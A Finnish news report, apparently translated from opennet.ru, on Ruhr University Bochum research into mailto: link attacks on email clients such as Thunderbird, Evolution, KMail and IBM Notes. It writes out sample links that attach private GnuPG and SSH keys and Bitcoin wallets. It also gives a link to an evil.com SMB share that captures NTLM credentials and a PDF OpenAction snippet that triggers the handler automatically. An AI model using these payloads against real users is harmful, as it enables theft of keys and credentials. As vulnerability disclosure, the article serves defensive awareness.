Sähköpostiohjelman käyttäjien hyökkääminen "mailto:"-linkeillä

Tutkijat Ruhrin yliopistosta Bochumista (Saksa) analysoitu (PDF) sähköpostiohjelmien käyttäytyminen, kun käsitellään "mailto:"-linkkejä lisäparametreilla. Viisi kahdestakymmenestä tutkitusta sähköpostiohjelmasta oli alttiina hyökkäykselle, joka manipuloi resurssien korvaamista "attach"-parametrilla. Kuusi muuta sähköpostiohjelmaa oli alttiina PGP- ja S/MIME-avainten korvaushyökkäykselle, ja kolme asiakasta oli alttiina hyökkäykselle salattujen viestien sisällön purkamiseksi.

Linkit «mailto:"käytetään automatisoimaan sähköpostiohjelman avaamista kirjeen kirjoittamiseksi linkissä määritetylle vastaanottajalle. Osoitteen lisäksi voit määrittää osaksi linkkiä muita parametreja, kuten kirjeen aiheen ja mallin tyypilliselle sisällölle. Ehdotettu hyökkäys manipuloi "attach"-parametria, jonka avulla voit liittää liitteen luotuun viestiin.

Sähköpostiohjelmat Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) ja Pegasus Mail olivat alttiina triviaalille hyökkäykselle, jonka avulla voit liittää automaattisesti mikä tahansa paikallinen tiedosto, joka määritetään linkin kautta, kuten "mailto:?attach=polku tiedostoon". Tiedosto liitetään ilman varoitusta, joten ilman erityistä huomiota käyttäjä ei välttämättä huomaa, että kirje lähetetään liitteenä.

Esimerkiksi käyttämällä linkkiä, kuten "mailto:[sähköposti suojattu]&subject=Otsikko&body=Teksti&attach=~/.gnupg/secring.gpg" voit lisätä yksityisiä avaimia GnuPG:stä kirjeeseen. Voit myös lähettää kryptolompakoiden sisällön (~/.bitcoin/wallet.dat), SSH-avaimia (~/.ssh/id_rsa) ja mitä tahansa tiedostoja, jotka ovat käyttäjän käytettävissä. Lisäksi Thunderbird antaa sinun liittää tiedostoryhmiä maskin avulla käyttämällä rakenteita, kuten "attach=/tmp/*.txt".

Paikallisten tiedostojen lisäksi jotkin sähköpostiohjelmat käsittelevät linkkejä verkkotallennustilaan ja polkuihin IMAP-palvelimessa. Erityisesti IBM Notes mahdollistaa tiedoston siirtämisen verkkohakemistosta, kun käsittelet linkkejä, kuten "attach=\\evil.com\dummyfile", sekä siepata NTLM-todennusparametreja lähettämällä linkin hyökkääjän hallitsemaan SMB-palvelimeen. (pyyntö lähetetään nykyisen todennusparametrien käyttäjän kanssa).

Thunderbird käsittelee onnistuneesti pyynnöt, kuten "attach=imap:///fetch>UID>/INBOX>1/", joiden avulla voit liittää sisältöä IMAP-palvelimen kansioista. Samanaikaisesti sähköpostiohjelma purkaa automaattisesti IMAP-protokollasta haetut viestit, jotka on salattu OpenPGP:n ja S/MIME:n kautta, salauksen automaattisesti ennen lähettämistä. Thunderbirdin kehittäjät olivat ilmoitettu ongelmasta helmikuussa ja numerossa Thunderbird 78 ongelma on jo korjattu (Thunderbirdin haarat 52, 60 ja 68 ovat edelleen haavoittuvia).

Thunderbirdin vanhat versiot olivat myös haavoittuvia kahdelle muulle tutkijoiden ehdottamille PGP- ja S/MIME-hyökkäysversioille. Erityisesti Thunderbird sekä OutLook, PostBox, eM Client, MailMate ja R2Mail2 joutuivat avaimenvaihtohyökkäyksen kohteeksi, koska sähköpostiohjelma tuo ja asentaa automaattisesti uusia S/MIME-viesteissä lähetettyjä varmenteita, mikä mahdollistaa hyökkääjä järjestää käyttäjän jo tallentamien julkisten avainten korvaamisen.

Toinen hyökkäys, jolle Thunderbird, PostBox ja MailMate ovat alttiita, manipuloi luonnosviestien automaattisen tallennuksen mekanismin ominaisuuksia ja mahdollistaa mailto-parametreja käyttämällä salattujen viestien salauksen purkamisen tai digitaalisen allekirjoituksen lisäämisen mielivaltaisille viesteille. myöhemmän tuloksen lähettämisen hyökkääjän IMAP-palvelimelle. Tässä hyökkäyksessä salateksti välitetään "body"-parametrin kautta, ja "meta refresh" -tunnistetta käytetään käynnistämään puhelu hyökkääjän IMAP-palvelimelle. Esimerkiksi: ' '

"mailto:"-linkkien automaattiseen käsittelyyn ilman käyttäjän toimia voidaan käyttää erityisesti suunniteltuja PDF-dokumentteja - PDF-tiedoston OpenAction-toiminnon avulla voit käynnistää automaattisesti mailto-käsittelijän dokumenttia avattaessa:

% PDF-1.5
1 obj
<< /Type /Calog /OpenAction [2 0 R] >>
endobj

2 obj
<< /Type /Action /S /URI/URI (mailto:?body=——ALAA PGP-VIESTI——[…])>>
endobj

Lähde: opennet.ru